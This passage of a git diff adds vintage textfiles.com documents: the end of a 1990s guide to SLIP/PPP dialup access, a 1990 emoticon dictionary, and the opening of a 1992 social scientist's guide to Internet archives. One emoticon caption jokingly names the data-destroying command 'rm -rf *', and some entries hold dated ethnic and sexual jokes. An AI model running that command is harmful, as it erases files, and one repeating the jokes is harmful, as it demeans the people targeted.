the next frontier for power +users currently enjoying the benefits of SLIP and PPP dialup access. + + +Where to Go from Here + +After reading this paper I hope you now have a good feel for how SLIP and +PPP Internet access work, and as a result you may be interested in +finding out more and possibly even acquiring your own SLIP or PPP +connection. This section covers three possible avenues you might +explore: + +* commercial SLIP/PPP Internet packages +* Internet books with bundled software +* online information and freeware/shareware + +Each option has its pros and cons; unfortunately no one has yet come up +with a single complete "A to Z" solution for personal Internet access +that provides everything you'll need and answers every question you might +have. However the range of available information, software, services, +and support is much greater today than it was even six months to a year +ago, and I expect this trend to continue and even accelerate. As a +result this section will likely grow out of date very rapidly; however I +hope it provides at least a starting point for you. + + +Commercial Internet Packages + +You may wish to buy an commercial "all in one" solution that includes +TCP/IP and PPP or SLIP software, a range of Internet applications, +documentation, and (optionally) Internet service itself. Here's some of +the questions you should ask yourself in evaluating the purchase of a +commercial product: + +* Does the product provide support for both SLIP and PPP, or only for one +of them (usually SLIP)? If possible you want to have the maximum +flexibility in choosing the type of service you subscribe to; in +particular it is good to have the option of running PPP since it will +most likely overtake and replace SLIP in the coming years. + +* Does the product provide a full range of Internet applications? Typical +products provide at least Telnet, FTP, and electronic mail programs. Many +also provide a Usenet newsreader, and some include Gopher and WWW client +programs as well. + +* Can the product's underlying TCP/IP and SLIP/PPP stack be used with +Internet applications obtained from other sources (e.g., freeware and +shareware)? For example, for Windows you should confirm that the product +is Winsock-compliant. + +* Does the price of the product include capabilities you will never use? +As noted previously, many commercial TCP/IP products were originally +designed for business use on local area networks and cost several hundred +dollars; they include many functions of little interest to the typical +individual user accessing the Internet from home or on the road. + +* Does the product include pre-defined configurations for popular Internet +access providers? Typically the most difficult point in using the +software is when you first attempt to connect to your Internet access +provider; it will help if the product has customized login scripts and +other pre-configured information available for your particular provider. + +Here are some commercial products that may be of interest: + +* Internet Chameleon TCP/IP for Windows. This product includes TCP/IP +software with both SLIP and PPP support and a set of Internet clients +including email, FTP, Telnet, Gopher, and a Usenet news reader; although +Internet access itself is not included, the software comes preconfigured +for several Internet access providers. Internet Chameleon is from +NetManage, Inc., and is essentially a customized subset of their +Chameleon TCP/IP for Windows LAN product. For more information call +1-408-973-7171, fax 1-408-257-6405, or send email to sales@netmanage.com. + +NOTE: NetManage also has a separate product named Chameleon Sampler which +should not be confused with Internet Chameleon. Chameleon Sampler is +based on an older version (3.11) of Chameleon TCP/IP for Windows and is +bundled with many Internet books (see below); it includes only SLIP +support and does not include the full range of Internet applications +found in Internet Chameleon. + +* Internet In A Box. This product (not yet available at the time of +writing) includes a complete set of Windows-based Internet applications +(including a version of Mosaic) and Winsock-compliant TCP/IP software for +use over PPP connections. The software is from SPRY, Inc., a commercial +supplier of Windows-based TCP/IP software, and the documentation from +O'Reilly and Associates, a publisher of UNIX and Internet books +(including Ed Krol's "The Whole Internet User's Guide and Catalog," which +is included in the package). For more information call 800-777-9638 or +send email to info@ibox.com. + +* TCP/Connect II. This product from InterCon Systems Corporation is +available in both Macintosh and Windows versions; it includes all the +standard Internet applications and both SLIP and PPP support. For more +information call 1-703-709-5500 or send email to sales@intercon.com. + +* WinGopher Complete. This product includes a Gopher client and TCP/IP +software; it apparently also includes an introductory offer from an +Internet access provider. WinGopher Complete is offered by NOTIS Systems, +Inc. (a subsidiary of Ameritech); the Internet access itself is provided +by a group of participating providers. For more information call +1-800-55-NOTIS (1-800-556-6847), fax 1-708-866-4970, or send email to +wingopher@notis.com. + +Finally, Peter Tattam's Trumpet Winsock package from Trumpet Software +International is a shareware product comparable to the products above in +functionality and reliability; it includes a TCP/IP stack with a built-in +SLIP driver, as well as a variety of Internet applications. The Trumpet +Winsock package is quite popular and many freeware and shareware products +are written to run with it. See the online information sources listed +below for information on how to obtain it. + + +Internet Book/Software Bundles + +If you do not want to pay the higher price ($100 and up) for a full +commercial product then you may wish to consider one of the growing +number of Internet books that come with a diskette containing Internet +applications software. Here's some of the questions you should ask +yourself in evaluating the purchase of such a book/diskette combination: + +* Is the software for a real Internet connection as described above? Some +books include only a communications program with async terminal +emulation; others include hybrid software that looks like a graphical +Internet interface but uses a different underlying protocol. (For +example, some products use the UNIX UUCP protocol to do batch uploading +and downloading of electronic mail and Usenet news.) + +* Does the diskette include the minimum needed for a personal Internet +connection? You will need at least a SLIP or PPP network driver, a +TCP/IP stack (e.g., MacTCP or a Winsock-compliant product) supporting +Internet applications, and at least an FTP program (which you can then +use to download other software). + +* How many Internet applications come with the book? Does it include an +email program? A Usenet newsreader? A Gopher client? Some books come +with a broad variety of "best of breed" programs; others have only a bare +minimum. + +* Does the book explain how to install, configure, and use the software? +With a few books the software seems to be an afterthought, with most of +the book devoted to explaining older ways of accessing the Internet +(e.g., by using a UNIX shell account). + +* Does the book come with any other special offers? Some books include +introductory offers (e.g., two weeks or a month of free service) for SLIP +or PPP Internet access through a particular provider. (However, this may +not be that great a deal if the provider is only reachable via a +long-distance telephone call.) + +Here are some books that (as of this writing) meet the first two criteria +above; that is, they have the minimum software needed for a personal +Internet connection using SLIP or PPP: + +* "Internet Starter Kit for Macintosh" by Adam Engst ($29.95 US, Hayden +Books, ISBN 1-56830-064-6) includes MacTCP, InterSLIP, Eudora, Fetch, +TurboGopher, and StuffIt Expander. To my knowledge this is the only book +available at the time of writing that includes everything you need for +Macintosh systems. Engst also maintains an FTP site for readers of the +book, with (among other things) copies of additional Internet +applications besides those included on the book's diskette. + +* "Internet Starter Kit for Windows" by Adam Engst, Corwin Low, and +Michael Simon ($29.95 US, Hayden Books, ISBN 1-5630-094-8) includes the +Chameleon Sampler, the WinVN newsreader, Eudora, and WSGopher. + +* "The Windows Internet Tour Guide" by Michael Fraase ($24.95 US, Ventana +Press, ISBN 1-56604-081-7) includes the Chameleon Sampler. Like Engst, +Fraase maintains an FTP site with additional information and software, as +well as a (fee-based) electronic update service for readers of this book +and others he's written. + +* "The PC Internet Tour Guide" by Michael Fraase ($24.95 US, Ventana +Press, ISBN 1-56604-084-1) includes UMSLIP (a SLIP-capable TCP/IP stack) +and Minuet (an integrated Internet application supporting email, FTP, +Telnet, etc.), both developed at the University of Minnesota. To my +knowledge this is the only book available at the time of writing that +covers personal Internet access from DOS-only PCs. + +* "Navigating the Internet (Deluxe Edition)" by Richard Smith and Mark +Gibbs ($29.95 US, SAMS Publishing, ISBN 0-672-30485-6) includes the +Chameleon Sampler. IMPORTANT: Make sure that the book says "Deluxe +Edition"; there is another "non-deluxe" edition which does not include a +diskette. + +* "The Internet Unleashed" by various authors ($44.95 US, SAMS Publishing, +ISBN 0-672-30466-X) includes the Chameleon Sampler and HGopher. + +Here are two other books which contain Internet applications and are +worthy of note (especially since they may be confused with some of the +books above): + +* "Internet Explorer Kit for Macintosh" by Adam Engst and William Dickson +($29.95 US, Hayden Books) is a companion volume to "Internet Starter Kit +for Macintosh" and includes Anarchie, Finger, MacWAIS, MacWeather, and +TurboGopher. (These are also all freely available via anonymous FTP.) + +* "The Mac Internet Tour Guide" by Michael Fraase ($24.95 US, Ventana +Press, ISBN 1-56604-062-0) includes StuffIt Expander, Eudora, and Fetch. +However it does _not_ include MacTCP or a SLIP or PPP driver, and +therefore you would need to buy MacTCP separately and find a SLIP or PPP +driver somewhere else. + +Finally, note that Bernard Aboba, compiler of the Frequently Asked +Questions list for the Usenet newsgroup comp.protocols.tcp-ip.ibmpc (see +below), and Britt Bassett are writing a book "The PC-Internet Connection: +TCP/IP Networking for DOS and Windows", scheduled for publication in the +fall of 1994. For more information see the following URL: + + http://www.zilker.net/users/internaut/forth.html + +From the looks of the table of contents the book will go into greater +technical detail than most of the books above. + + +Online Information and Software + +If you already have Internet access and aren't yet ready to spend the +money for a book, you may wish to explore the information and software +already available online. Here are some good places to start: + +* "Windows and TCP/IP for Internet Access" by Harry M. Kriz +(hmkriz@vt.edu) is a good overview of personal Internet access using +Microsoft Windows and Winsock-compliant TCP/IP software; it goes into +more technical detail than this paper and contains online locations and +installation instructions for popular Winsock-based freeware and +shareware. The document is posted on a regular basis to the Usenet +newsgroup comp.os.ms-windows.networking.tcp-ip. The URL for the current +version as of this writing is + + file://nebula.lib.vt.edu/pub/windows/winsock/wtcpip05.zip + +(The number "05" will be incremented as new versions are released.) + +* "Winsock Application FAQ" by Craig Larsen (larsenc@lcs.com) is a fairly +complete listing of Winsock programs and their respective FTP sites, with +brief reviews; besides freeware and shareware it lists demo versions of +commercial products. The document can be retrieved by sending an email +message to info@lcs.com with a subject line of "help"; it can also be +found at the following URL: + + http://www.ramp.com/~lcs + +The WWW version is particularly nice as it includes links to all the +programs retrievable via FTP, so if you're using a WWW client such as +Mosaic you can click to download a given package. + +* "comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ)" by +Bernard D. Aboba (aboba@internaut.com) contains a great deal of +information about PC-based TCP/IP networking under both DOS and Windows. +It is especially useful if you wish to run Internet applications under +both DOS and Windows, or if you are also using TCP/IP software on a local +area network; if you don't care about either of these topics then I +recommend that you start with one of the other documents above. + +The FAQ is posted monthly to the newsgroup comp.protocols.tcp-ip.ibmpc; it +is also available at the following URLs: + + file://ftp.netcom.com/pub/mailcom/IBMTCP/ibmtcp.zip + http://www.zilker.net/users/internaut/current.html + +The latter references an experimental hypertext version of the FAQ, +together with additional useful information (including a discussion of +Internet access via cable TV technology). + +* "Features of TCP/IP Packages for DOS and Windows" by C. J. Sacksteder +(cjs@psuvm.psu.edu) is an exhaustive compilation of DOS and Windows-based +TCP/IP software packages and their features. Like Aboba's FAQ it may be +overkill if you're just starting to learn about personal Internet access. +The document is available at the following URL: + + file://ftp.cac.psu.edu/pub/dos/info/tcpip.packages + +* "comp.sys.mac.comm Frequently Asked Questions (FAQ)" by David L. +Oppenheimer (davido@phoenix.princeton.edu) contains (among other things) +some information about MacTCP and SLIP and PPP drivers for the Mac. The +FAQ is posted monthly to the Usenet newgroup comp.sys.mac.comm, and can +also be found at the following URL: + + file://sumex-aim.stanford.edu/info-mac/comm/info/comp-sys-mac-comm-faq.txt + +As noted above, there are a number of Usenet newsgroups that contain +discussions of personal Internet access using SLIP or PPP. The main ones +are as follows: + + comp.os.ms-windows.networking.tcp-ip + comp.protocols.tcp-ip.ibmpc + comp.sys.mac.comm + +Note that comp.sys.mac.comm covers all Mac-related communications +protocols and software; at this time there is no separate Macintosh +newsgroup just for networking or Internet access. + + +URLs and Instructions for Online Retrieval + +URLs or Uniform Resource Locators are a handy and increasingly popular way +of specifying the online location of Internet resources; URLs originated +in the World Wide Web (WWW) project. Some URLs in this document have +"http:" at the front; these are WWW home pages accessible by Mosaic or +other WWW client programs. However most of the URLs in this document are +of the form + + file://hostname/directory-path/filename + +This identifies a file retrievable by anonymous FTP from an Internet host +"hostname"; the file is in the directory "directory-path" and has the +name "filename". + +For example, if you are reading this document in paper form and wish to +retrieve the latest version in electronic form, you can do so using one +of the following methods. + +* If you use Mosaic or other World Web Web browsers, you can retrieve this +document using the following URL: + + file://ftp.digex.net/pub/access/hecker/internet/slip-ppp.txt + +(Use the "Open URL" menu item or its equivalent.) + +* You can retrieve this document via anonymous FTP from the host ftp.digex.net. +The file is in the directory /pub/access/hecker/internet and has the name +slip-ppp.txt. + +* If you have only email access to the Internet, you can retrieve this +document by sending an email message to ftpmail@decwrl.dec.com and +including the following lines as the body of the message: + +connect ftp.digex.net +chunksize 25000 +chdir /pub/access/hecker/internet +get slip-ppp.txt +quit + +(You may use any subject line you wish.) The "chunksize" value of 25000 +bytes (characters) is optional; including it directs that the document be +returned to you as multiple email messages, none exceeding 25,000 bytes +in size. This is in case your mail system limits the size of incoming +Internet email messages to less than 32K or 64K; if your limit is less +than 25,000 then change the chunksize line to an appropriate value. If +you don't have a limit on message size then you can change the chunksize +to 100000 to get the whole paper as one message. + +The instructions above will also work for any of the "file" URLs in the +document; just substitute the appropriate hostname, directory, and +filename. + diff --git a/textfiles.com/internet/smiley b/textfiles.com/internet/smiley new file mode 100644 index 00000000..bbccdde8 --- /dev/null +++ b/textfiles.com/internet/smiley @@ -0,0 +1,704 @@ + + + T h e S m i l e y d i c t i o n a r y + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Last update: September 12, 1990 + by Per Goetterup (ballerup@freja.diku.dk) + + +From: maart@cs.vu.nl (Maarten Litmaath) + + :-o Wow! :-c Real unhappy + + :-| Grim :-C Just totally unbelieving + + := | Baboon :-B Drooling + + :-v Speaking :-, Smirk + + :-V Shout :-|| Anger + + :-w Speak with forked tongue :-) Smiling + + :-r Sticking tongue out :-( Frowning + + :-* Oops! '-) Wink + + :-T Keeping a straight face ;-) Sardonic Incredulity + + :-D Said with a smile %- Drunk with laughter + + :-x Kiss kiss :-" Pursing lips + + :-[ Pouting :-# My lips are sealed + + :-X A big wet kiss! :-P Tongue hanging out in anticipation + + :-Y A quiet aside 8-| Eyes wide with surprise + + >-< Absolutely livid!! &-| Tearful + + |-{ "Good Grief!" (Charlie Brown?) + + :-} "Thish wine tashted pretty good" + + 8-] "wow, maaan" + + 8-O "Omigod!!" (done after "rm -rf *" ?) + + :-, "Hmmmm." + + |~( "Someone just busted my nose". + + :^D "Great! I like it!" + + B-D "Serves you right, dummy!!" + +------------------------------------------------------------------------------ +IBM SHARE/Northeast Regional Data Center, Gainsville, Florida/Update, May 1985 +------------------------------------------------------------------------------ + +The Unofficial Smiley Dictionary +-------------------------------- + +:-) Your basic smiley. This smilie is used to inflect a sarcastic or + joking statement since we can't hear voice inflection over Unix. +;-) Winky smiley. User just made a flirtatious and/or sarcastic remark. + More of a "don't hit me for what I just said" smiley. +:-( Frowning smiley. User did not like that last statement or is upset + or depressed about something. +:-I Indifferent smiley. Better than a Frowning smilie but not quite as + good as a happy smiley +:-> User just made a really biting sarcastic remark. Worse than a :-). +>:-> User just made a really devilish remark. +>;-> Winky and devil combined. A very lewd remark was just made. + +Those are the basic ones...Here are some somewhat less common ones: + +(-: User is left handed +%-) User has been staring at a green screen for 15 hours straight +:*) User is drunk +[:] User is a robot +8-) User is wearing sunglasses +B:-) Sunglasses on head +::-) User wears normal glasses +B-) User wears horn-rimmed glasses +8:-) User is a little girl +:-)-8 User is a Big girl +:-{) User has a mustache +:-{} User wears lipstick +{:-) User wears a toupee +}:-( Toupee in an updraft +:-[ User is a Vampire +:-E Bucktoothed vampire +:-F Bucktoothed vampire with one tooth missing +:-7 User just made a wry statement +:-* User just ate something sour +;-( User is crying +;-) User is so happy, s/he is crying +:-@ User is screaming +:-# User wears braces +:^) User has a broken nose +:<) User is from an Ivy League School +:-& User is tongue tied. ++-:-) User is the Pope or holds some other religious office +`:-) User shaved one of his eyebrows off this morning +,:-) Same thing...other side +|-I User is asleep +|-O User is yawning/snoring +:-Q User is a smoker +:-? User smokes a pipe +O-) Megaton Man On Patrol! (or else, user is a scuba diver) +O :-) User is an angel (at heart, at least) +:-P Nyahhhh! +:-S User just made an incoherent statement +:-D User is laughing (at you!) +:-X User's lips are sealed +:-C User is really bummed +<|-) User is Chinese +<|-( User is Chinese and doesn't like these kind of jokes +:-/ User is skeptical +C=:-) User is a chef +@= User is pro-nuclear war +*<:-) User is wearing a Santa Claus Hat +:-o Uh oh! +(8-o It's Mr. Bill! +*:o) And Bozo the Clown! +3:] Pet smiley +3:[ Mean Pet smiley +d8= Your pet beaver is wearing goggles and a hard hat. +E-:-) User is a Ham radio operator +:-9 User is licking his/her lips +%-6 User is braindead +[:-) User is wearing a walkman +(:I User is an egghead +<:-I User is a dunce +K:P User is a little kid with a propeller beenie +@:-) User is wearing a turban +:-0 No Yelling! (Quiet Lab) +:-: Mutant Smiley + The invisible smiley +.-) User only has one eye +,-) Ditto...but he's winking +X-( User just died +C=}>;*{O) Mega-Smiley... A drunk, devilish chef with a toupee in an updraft, + a mustache, and a double chin + +Note: A lot of these can be typed without noses to make midget smileys. + +:] - Gleep...a friendly midget smiley who will gladly be your friend +:) - Happy +:> - hmm, let me think... +:D - Laughter +:I - Hmmm, not funny! +:( - Sad +:[ - Real Downer +:< - what pretences! +:{ - oh boy, the headmaster!... +:O - Yelling +;( - Crying +[] - Hugs and +:* - Kisses + + + :-` smiley spitting out its chewing tobacco + :-1 smiley bland face + :-! " + :-$ smiley face with it's mouth wired shut + :-6 smiley after eating something sour + 8-) smiley swimmer + :-* smiley after eating something bitter + :-& smiley which is tongue-tied + :-0 smiley orator + (:-( unsmiley frowning + =:-) smiley punk-rocker + =:-( (real punk rockers don't smile) + +-:-) smiley priest + :-o smiley singing national anthem + :-p smiley sticking its tongue out (at you!) + :-[ un-smiley blockhead + :-] smiley blockhead + :-{ smiley variation on a theme + :-} ditto + {:-) smiley with its hair parted in the middle + }:-) above in an updraft + g-) smiley with pince-nez glasses + :-\ undecided smiley + :-/ lefty undecided smiley + :-| "have an ordinary day" smiley + ;-) winking smiley + :-< real sad smiley + :-x "my lips are sealed" smiley + :-c bummed out smiley + :-v talking head smiley + :-? smilely smoking a pipe + 0-) smiley cyclops (scuba diver?) + :< midget unsmiley + :> midget smiley + +:-) ha ha ~~:-( net.flame +|-) hee hee +|-D ho ho +:-> hey hey +:-( boo hoo X-( net.suicide +:-I hmm +:-O uh oh >:-I net.startrek +:-P nyah nyah 3:o[ net.pets +|-P yuk + +Male :- +Female >- + +Infinity 8 + + +- And the (IMHO) All Time Classic: + + %\v Picasso + +From: Charles Guest News Administrator newsadm@pioneer.arc.nasa.gov +August 13, 1989 + + +A pig: + :@) +A leper: + : ) +Jimmy Durante: + :###) +Donald Trump: + :$) +Carl Friedrich Gauss + :+) +Peter Ubberoth: + :~) +Jose Feliciano: + -) +Helen Keller: + - +Dolly Parton: + :-) 8 +John Holmes: + :-) --- +Bon Jovi: + ### + #:-) + ### +Ed Koch: + # + :-) + # +Bozo the Clown: + ### + :o) + ### +Siamese twins: + (-::-) +An accountant: + :%) +Sam Kinnison: + :-)!!! +Wilt Chamberlin: + :-) +Willie Shoemaker: + :-) +a schizophrenic: + *!#*!^*&:-) +a manic depressive: + :-) ... :-( ... :-) ... :-( .... +Adolph Hitler: + :-=) +Arnold Schwarznegger: + :-)== +98-pound weakling: + :-)-- +Sammy Davis, Jr.: + .-) +an innie (belly button): + :-) . +an outie: + :-) , +a slut: + :-) < +a celibate: + :-) > +a nymphomaniac: + :-) < ... :-) < ... :-) < .... +Lesbians: + :-Q < + > Q-: +A philosopher: + :?) +John Q. Public: + :Q) +Everyman: + :*) + +The Unofficial Smilie Dictionary +-------------------------------- + +:-) Your basic smilie. This smilie is used to inflect a sarcastic or + joking statement since we can't hear voice inflection over Unix. + +;-) Winky smilie. User just made a flirtatious and/or sarcastic remark. + More of a "don't hit me for what I just said" smilie. + +:-( Frowning smilie. User did not like that last statement or is upset + or depressed about something. + +:-I Indifferent smilie. Better than a Frowning smilie but not quite as + good as a happy smilie + +:-> User just made a really biting sarcastic remark. Worse than a :-). + +>:-> User just made a really devilish remark. + +>;-> Winky and devil combined. A very lewd remark was just made. + +Those are the basic ones...Here are some somewhat less common ones: + +(-: User is left handed + +%-) User has been staring at a green screen for 15 hours straight + +:*) User is drunk + +[:] User is a robot + +8-) User is wearing sunglasses + +B:-) Sunglasses on head + +::-) User wears normal glasses + +B-) User wears horn-rimmed glasses + +8:-) User is a little girl + +:-)-8 User is a Big girl + +:-{) User has a mustache + +:-{} User wears lipstick + +{:-) User wears a toupee + +}:-( Toupee in an updraft + +:-[ User is a Vampire + +:-E Bucktoothed vampire + +:-F Bucktoothed vampire with one tooth missing + +:-7 User juust made a wry statement + +:-* User just ate something sour + +:-)~ User drools + +:-~) User has a cold + +:'-( User is crying + +:'-) User is so happy, s/he is crying + +:-@ User is screaming + +:-# User wears braces + +:^) User has a broken nose + +:v) User has a broken nose, but it's the other way + +:_) User's nose is sliding off of his face + +:<) User is from an Ivy League School + +:-& User is tongue tied. + +=:-) User is a hosehead + +-:-) User is a punk rocker + +-:-( (real punk rockers don't smile) + +:=) User has two noses + ++-:-) User is the Pope or holds some other religious office + +`:-) User shaved one of his eyebrows off this morning + +,:-) Same thing...other side + +|-I User is asleep + +|-O User is yawning/snoring + +:-Q User is a smoker + +:-? User smokes a pipe + +O-) Megaton Man On Patrol! (or else, user is a scuba diver) + +O :-) User is an angel (at heart, at least) + +:-P Nyahhhh! + +:-S User just made an incoherent statement + +:-D User is laughing (at you!) + +:-X User's lips are sealed + +:-C User is really bummed + +<|-) User is Chinese + +<|-( User is Chinese and doesn't like these kind of jokes + +:-/ User is skeptical + +C=:-) User is a chef + +@= User is pro-nuclear war + +*<:-) User is wearing a Santa Claus Hat + +:-o Uh oh! + +(8-o It's Mr. Bill! + +*:o) And Bozo the Clown! + +3:] Pet smilie + +3:[ Mean Pet smilie + +d8= Your pet beaver is wearing goggles and a hard hat. + +E-:-) User is a Ham radio operator + +:-9 User is licking his/her lips + +%-6 User is braindead + +[:-) User is wearing a walkman + +(:I User is an egghead + +<:-I User is a dunce + +K:P User is a little kid with a propeller beenie + +@:-) User is wearing a turban + +:-0 No Yelling! (Quiet Lab) + +:-: Mutant Smilie + + The invisible smilie + +.-) User only has one eye + +,-) Ditto...but he's winking + +X-( User just died + +8 :-) User is a wizard + +C=}>;*{)) Mega-Smilie... A drunk, devilish chef with a toupee in an updraft, + a mustache, and a double chin + +Note: A lot of these can be typed without noses to make midget smilies. + +:) Midget smilie + +:] Gleep...a friendly midget smilie who will gladly be your friend + +=) Variation on a theme... + +:} - What should we call these? (what?) + +:) - Happy + +:> - what? + +:@ - what? + +:D - Laughter + +:I - Hmmm... + +:( - Sad + +:[ - Real Downer + +:< - what? + +:{ - what? + +:O - Yelling + +:C - what? + +:Q - what? + +:,( - Crying + +[] - Hugs and + +:* - Kisses + +|I - Asleep + +|^o -Snoring + + + :-` smiley spitting out its chewing tobacco + + :-1 smiley bland face + + :-! " + + :-@ smiley face screaming + + :-#| smiley face with bushy mustache + + :-$ smiley face with it's mouth wired shut + + :-% smiley banker + + :-6 smiley after eating something sour + + :^) smiley with pointy nose (righty) + + :-7 smiley after a wry statement + + 8-) smiley swimmer + + :-* smiley after eating something bitter + + :-& smiley which is tongue-tied + + :-0 smiley orator + + smiley invisible man + + (:-( unsmiley frowning + + (:-) smiley big-face + + ):-) " + + ):-( unsmiley big-face + + )8-) scuba smiley big-face + + =:-) smiley punk-rocker + + =:-( (real punk rockers don't smile) + + +:-) smiley priest + + :-q smiley trying to touch its tongue to its nose + + :-e disappointed smiley + + :-t cross smiley + + :-i semi-smiley + + :-o smiley singing national anthem + + :-p smiley sticking its tongue out (at you!) + + :-[ un-smiley blockhead + + :-] smiley blockhead + + :-{ smiley variation on a theme + + :-} ditto + + {:-) smiley with its hair parted in the middle + + }:-) above in an updraft + + :-a lefty smilely touching tongue to nose + + :-s smiley after a BIZARRE comment + + :-d lefty smiley razzing you + + g-) smiley with ponce-nez glasses + + :-j left smiling smilely + + :-k beats me, looks like something, tho. + + :-l y. a. s. + + :-: mutant smiley + + :-\ undecided smiley + + :-| "have an ordinary day" smiley + + ;-) winking smiley + + :-< real sad smiley + + :-> y.a.s. + + :-z y.a.c.s. + + :-x "my lips are sealed" smiley + + :-c bummed out smiley + + :-v talking head smiley + + :v) left-pointing nose smiley + + :-b left-pointing tongue smiley + + :-/ lefty undecided smiley + + :-? smilely smoking a pipe + + .-] one-eyed smilely + + ,-} wry and winking + + 0-) smiley cyclops (scuba diver?) + + :-=) older smiley with mustache + + :u) smiley with funny-looking left nose + + :n) smiley with funny-looking right nose + + :< midget unsmiley + + :> midget smiley + + }:^#}) mega-smiley: updrafted bushy-mustached pointy nosed smiley with + a double-chin + +:-) ha ha ~~:-( net.flame + +|-) hee hee O |-) net.religion + +|-D ho ho + +:-> hey hey 8 :-I net.unix-wizards + +:-( boo hoo X-( net.suicide + +:-I hmm E-:-I net.ham-radio + +:-O uh oh >:-I net.startrek + +:-P nyah nyah 3:o[ net.pets + +|-P yuk + +:-} beard + +:-{ mustache + +:-# braces + +:-X bow tie + +:-Q smoker + +<:I dunce + +(:I egghead + +@:I turban + +8-) glasses + +B-) horn-rims + +8:-) glasses on forehead + +:-8( condescending stare + +;-) wink + +>:-< mad + + +Drama :-( Comedy :-) Surpise :-o Suspense 8-| + +Male :- Female >- + +Birth |-O Death 8-# + +================================ END =============================== + diff --git a/textfiles.com/internet/soc-sci.txt b/textfiles.com/internet/soc-sci.txt new file mode 100644 index 00000000..1cd96b01 --- /dev/null +++ b/textfiles.com/internet/soc-sci.txt @@ -0,0 +1,1594 @@ +Social scientist's guide to the network +--------------------------------------- + (to AARNET/INTERNET Online Information Services) + + + +----------------------------------------------------------------------------- +[This document can be acquired from a sub-directory coombspapers +via anonymous FTP on the node COOMBS.ANU.EDU.AU ] + +[Previous update: 22 Apr 1992] +[This version: 25 Apr 1992] +----------------------------------------------------------------------------- +INTERNET VOYAGER (a.k.a ELECTRONIC VOYAGER GUIDEBOOK) + +SOCIAL SCIENTIST'S GUIDEBOOK +to AARNET/INTERNET Online Information Services + +by Dr T. Matthew Ciolek, Coombs Computing Unit, RSPacS/RSSS, +Australian National University, Canberra, Australia +ph +61 6 249 4016 +e-mail (INTERNET) tmciolek@coombs.anu.edu.au + +Note: The online services listed below have been electronically accessed, +exploredand verified by the compiler of this GuideBook. In other words, this +document is based on first-hand experience, not on the network hearsay. +Services found by the compiler to be too difficult to access/use are NOT +listed in this guide. Pointers to other relevant guidebooks and lists are +given by the end of this paper. + +A +++ by an entry designates recent additions/changes to the Guidebook + +Please send any additions, corrections and deletions to: +tmciolek@coombs.anu.edu.au. + +(C) 1991,1992 by T. Matthew Ciolek. All Rights Reserved. +================================================================================ +TABLE OF CONTENTS (no. of sources described) +================================================================================ + ARCHIVES (20) + BULLETIN BOARDS (13) + DATA BASES (23) + LIBRARY CATALOGUES (pointers to 300+ libraries) + PERIODICALS (4) + Appendix A: TELNET procedures + Appendix B: Anonymous FTP procedures + Appendix C: Using ARCHIE databases + Some Useful References + Copyright and disclaimer notice +================================================================================ +ARCHIVES +[current details of the FTP archives can be obtained from the ARCHIE database +(see inf. below)] +================================================================================ +SERVICE: Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: Computer Services Center, Aust. National Univ. +LOCATION: Canberra, Australia +ANONYMOUS FTP ADDRESS: archive.anu.edu.au +SUB-DIRECTORY: pub +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +COMMENTS: + *sub-dir. /library contains LIBRARIES.TXT - a current + directory of telnet addresses of 250+ on-line library + catalogues; + *sub-dir. /AARNet contains AARNET documents; + *sub-dir. /src contains DOS & MAC software; +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: Australian Academic and Research (Computer) Network +LOCATION: Australia +ANONYMOUS FTP ADDRESS: aarnet.edu.au +SUB-DIRECTORY: pub +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +COMMENTS: + *sub-dir. /resource-guide contains inf. about Internet/Aarnet on-line resources + *sub-dir. /user-guide contains guidebooks and introductory material; +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Documents & Software Archive +++ new entry +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: the Institute for Global Communications, which hosts EcoNet, + PeaceNet, and ConflictNet. +LOCATION: USA +ANONYMOUS FTP ADDRESS: igc.org +SUB-DIRECTORY: pub +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: ?/5 + Freshness of inf.: 5/5 +COMMENTS: + *sub-dir. /pub contains: + econet_brochure, peacenet_brochure + IGC-conf-list-complete list of all IGC public conferences + IGC-conf-list-medium same list but shorter descriptions + IGC-conf-list-short list of conference names only + *If there are some files which you think may be of interest to the IGC + community, then feel free to drop them into the Directory 'New-stuff' + and send a message to : support@igc.org +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Texts Archive +ACCESS: via INTERNET +CHARGES: none +NAME: ? +ORGANISATION: ? +LOCATION: Toronto, Canada +ANONYMOUS FTP ADDRESS: relay.cs.toronto.edu +SUB-DIRECTORY: doc/books +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: ?5/5 + Freshness of inf.: n/a +COMMENTS: + * contains text files of individual chapters of the Holy Bible; + directory /doc/books/Bible + * contains text files of individual chapters of the Holy Koran (Quran); + directory /doc/books/Quran + * for WAIS servers with the texts see the entry on WAIS servers database + * for another FTP archive of these 2 texts see Univ. of Maryland Info. Archive +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Texts Archive +ACCESS: via INTERNET +CHARGES: none +NAME: ? +ORGANISATION: ? +LOCATION: Toronto, Canada +ANONYMOUS FTP ADDRESS: relay.cs.toronto.edu +SUB-DIRECTORY: doc/Dictionaries +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: ?5/5 + Freshness of inf.: n/a +COMMENTS: + * contains compressed text files of the following foreing lang. dictionaries: + (numbers in brackets indicate file size in bytes eg 57749 = 57.7Kb) + Family-Names.Z (57749) + Given-Names.Z 31136 + germanl.Z 137591 + words.dutch.Z 779056 + words.english.Z 217119 + words.french.Z 536310 + words.german.Z 761528 + words.italian.Z 217241 + words.norwegian.Z 258162 + words.swedish.Z 96169 +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Texts Archive +ACCESS: via INTERNET 